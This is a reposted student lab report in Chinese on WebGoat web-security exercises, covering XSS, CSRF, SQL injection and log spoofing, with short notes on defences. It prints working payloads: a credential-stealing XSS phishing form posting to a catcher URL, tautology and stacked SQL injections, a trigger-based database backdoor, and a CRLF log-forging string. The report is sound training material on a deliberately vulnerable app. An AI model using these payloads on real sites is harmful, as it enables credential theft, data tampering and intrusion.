20155331《网络对抗》 Exp9 Web安全基础

摘要:
20155331《网络对抗》Exp9Web安全基础实验过程WebGoat在终端中输入java-jarwebgoat-container-7.0.1-war-exec.jar开启WebGoat。admin达到欺骗登录效果,破解成功:LAB:SQLInjectionofstage1使用字符串SQL注入绕过认证。使用语句101;CREATETRIGGERmyBackDoorBEFOREINSERTONemployeeFOREACHROWBEGINUPDATEemployeeSETemail='xiejialing@qq.com'WHEREuserid=NEW.userid创建一个后门,把表中所有的邮箱和用户ID都设为我的:基础问题回答SQL注入攻击原理,如何防御?预防1、普通用户与系统管理员用户的权限要有严格的区分。
20155331《网络对抗》 Exp9 Web安全基础

实验过程

WebGoat

在终端中输入java -jar webgoat-container-7.0.1-war-exec.jar开启WebGoat。
20155331《网络对抗》 Exp9 Web安全基础第1张
20155331《网络对抗》 Exp9 Web安全基础第2张

打开浏览器,在地址栏输入localhost:8080/WebGoat打开WebGoat,使用默认的账号密码即可登陆。
20155331《网络对抗》 Exp9 Web安全基础第3张
20155331《网络对抗》 Exp9 Web安全基础第4张

XSS攻击

Phishing with XSS 跨站脚本钓鱼攻击

任意构造用户当前浏览的HTML内容,甚至可以模拟用户当前的操作。这里实验的是一种获取用户名和密码的攻击

在文本框里面注入代码:

</form>
<script>
function hack()
{ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("You've been attacked ... Your Identity information were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
</script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
 <br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

跳出一个攻击者编写的填写用户名和密码的表单
20155331《网络对抗》 Exp9 Web安全基础第5张

攻击成功,获取用户名和密码
20155331《网络对抗》 Exp9 Web安全基础第6张

Reflected XSS 反射型XSS攻击

在code框中输入
20155331《网络对抗》 Exp9 Web安全基础第7张

Stored XSS Attacks 存储型XSS攻击

打开Stored XSS Attacks,在Message里输入
20155331《网络对抗》 Exp9 Web安全基础第8张

CSRF攻击

Cross Site Request Forgery(CSRF)

查看页面右边Parameters中的src和menu值
20155331《网络对抗》 Exp9 Web安全基础第9张

message框中输入代码:20155331《网络对抗》 Exp9 Web安全基础第10张

提交后生成一个链接dzdd:
20155331《网络对抗》 Exp9 Web安全基础第11张

点击学号名即可查看用户操作的信息,攻击成功

CSRF Prompt By-Pass

查看页面右边Parameters中的src和menu值,并在title框中输入学号,message框中输入代码:

![](https://images2018.cnblogs.com/blog/1071515/201805/1071515-20180528222804582-2119136616.png)

提交后生成一个链接5331:
20155331《网络对抗》 Exp9 Web安全基础第12张

点击学号名即可查看用户操作的信息,攻击成功
20155331《网络对抗》 Exp9 Web安全基础第13张

SQL注入攻击

SQL字符串注入

使用SQL注入查看ID卡号码,根据提示输入Smith,查询名为Smith的所有信息
20155331《网络对抗》 Exp9 Web安全基础第14张

可以发现,这样就轻松得到了名为Smith的ID卡号

输入'or 1='1,构成永真式
20155331《网络对抗》 Exp9 Web安全基础第15张

Numeric SQL Injection

可以发现此选择框是一个下拉框,是无法修改,因此可使用BurpSuite抓包修改
20155331《网络对抗》 Exp9 Web安全基础第16张

打开BurpSuite,在BurpSuite中依次选择Proxy->Options->Add添加一个端口,将绑定的端口设为5331,确认后会在Options下增加一行,勾选新形成的这一行
20155331《网络对抗》 Exp9 Web安全基础第17张
20155331《网络对抗》 Exp9 Web安全基础第18张
点击浏览器,更多选项卡,选择preference,advanced,选择network页标签,在connection那一行选settings
20155331《网络对抗》 Exp9 Web安全基础第19张

在弹出的窗口中设置代理服务器和端口

20155331《网络对抗》 Exp9 Web安全基础第20张
设置好代理后回到题目页面,点击Go,然后进入BurpSuite中依次选择Proxy->Intercept,可以看到已经抓到了包:
20155331《网络对抗》 Exp9 Web安全基础第21张

右键选择send to repeater,进入repeater页标签,选择Params将其中station的值改为101 or 1=1,点击Go运行,查看右侧代码可以看到包中的SQL语句为SELECT * FROM weather_data WHERE station = 101 or 1=1
20155331《网络对抗》 Exp9 Web安全基础第22张

Log Spoofing

在User Name文本框中输入%0d%0aLogin succeeded !admin达到欺骗登录效果,破解成功:
20155331《网络对抗》 Exp9 Web安全基础第23张
20155331《网络对抗》 Exp9 Web安全基础第24张
20155331《网络对抗》 Exp9 Web安全基础第25张

LAB: SQL Injection of stage 1

使用字符串SQL注入绕过认证。利用SQL注入日志作为老板('neville”)没有使用正确的密码。验证neville的配置文件可以查看和所有功能可用

选择用户名为neville的admin用户,输入永真式' or 1=1 --为密码,输入时发现密码框文本长度设置不够构造永真式,执行右键->Inpect Element with Firebug,手动修改密码长度为11(永真式长度)
20155331《网络对抗》 Exp9 Web安全基础第26张
登录成功

20155331《网络对抗》 Exp9 Web安全基础第27张

Database Backdoors

使用字符串SQL注入执行多个SQL语句。第一个是系统的,第二个是你的。帐户ID是101。这个页面允许你看到你的密码,SSN和工资。尝试注入另一个更新更新工资到更高的东西

输入101,得到了该用户的信息:
20155331《网络对抗》 Exp9 Web安全基础第28张

输入注入语句:101; update employee set salary=100000,可以看到工资上涨。
20155331《网络对抗》 Exp9 Web安全基础第29张

使用语句101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='xiejialing@qq.com' WHERE userid = NEW.userid创建一个后门,把表中所有的邮箱和用户ID都设为我的:
20155331《网络对抗》 Exp9 Web安全基础第30张

基础问题回答

SQL注入攻击原理,如何防御?

攻击原理

SQL注入即是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

预防

1、 普通用户与系统管理员用户的权限要有严格的区分。

2、 强迫使用参数化语句。

3、 加强对用户输入的验证。

4、 多多使用SQL Server数据库自带的安全参数。

5、必要的情况下使用专业的漏洞扫描工具来寻找可能被攻击的点。

XSS攻击的原理,如何防御?

攻击原理:

跨站脚本攻击,XSS攻击类似于SQL注入攻击,将攻击代码注入到网页上或者数据库存储里面,在访问网页或者执行网页上功能是就会触发,实现攻击。

防御方法:

对于用户输入的攻击,只允许输入合法的值,其它值一概过滤掉。

CSRF攻击原理,如何防御?

攻击原理:

通过劫持会话,伪造身份等方式来达到一些非法目的,例如转账,支付等

防御方法:

使用验证码,表单中附加随机值,以此来防止冒充,在对于用户的隐私数据尽量进行加密处理,加密传输

实验总结

感觉平常上网时危险还是挺多的,可以通过各种的方法实现攻击,所以在做网站编程的时候应该对用户输入的信息做出合理的判断,从而保证用户安全。

免责声明:文章转载自《20155331《网络对抗》 Exp9 Web安全基础》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇AutoComplPop does not support this version of vim (701) 解决方法OpenCV-Python:轮廓下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

Web App安全入门

Web App是什么 Web App 是运行与网络和标准浏览器上,基于网页技术开发实现特定功能的应用。 前端:HTML CSS JavaScript 后端:Java Python PHP 数据库:Mysql Oracle 容器:IIS,Apache Nginx 协议:TCP DNS HTTP HTTPS 访问过程如图: 简单的web应用代码 import...

常见的php攻击(6种攻击详解)

1、SQL注入 SQL注入是一种恶意攻击,用户利用在表单字段输入SQL语句的方式来影响正常的SQL执行。还有一种是通过system()或exec()命令注入的,它具有相同的SQL注入机制,但只针对shell命令。 [python] view plain copy $username=$_POST['username']; $query="sele...

XSS攻击的解决方法

在我上一篇《前端安全之XSS攻击》文中,并没有把XSS攻击的解决办法说完整,而XSS的攻击又那么五花八门,有没有一招“独孤九剑”能够抗衡,毕竟那么多情况场景,开发人员无法一一照顾过来,而今天通过阅读《白帽子讲Web安全》这本书,对应对方式有了更好的总结,分为两类,一是服务端可以干的事,二是客户端可以干的事。 前提 在说XSS解决方式时,有一个前提。就是同源...

信息安全期末复习

一、米特尼克的圣诞攻击 1、攻击背景 在Unix世界中,可以很容易地给予信任。 假设用户在机器A和机器B上都有一个帐户,为了使两者之间的麻烦最小,就可以在它们之间建立全双工的信任关系。 在A的主目录中,创建一个 .rhosts 文件:echo "hostB 用户名" > .rhosts,在B的主目录中做同样的操作,现在,用户可以使用任何 r* 命令来...

CC攻击工具list

从论文里抠出来的工具列表如下,后面有黑产的工具以及网络上摘录的工具: 分类:(1)有僵尸网络(是否代理服务器)&没有的==》(2)单一url&混合url(多线程,压测为主,demo工具居多) 1. 超强CC攻击器:只要输入攻击目标服务器的IP地址,设置好相关参数即可进行攻击。可设置攻击线程、攻击频率,利用大量代理服务器形成僵尸网络(设置代理...

web安全:x-content-type-options头设置

参考资料:http://www.jackieathome.net/archives/369.html http://blog.51cto.com/volvo9yue/1903432 如果服务器发送响应头 "X-Content-Type-Options: nosniff",则script和styleSheet元素会拒绝包含错误的 MIME 类型的响应。这是...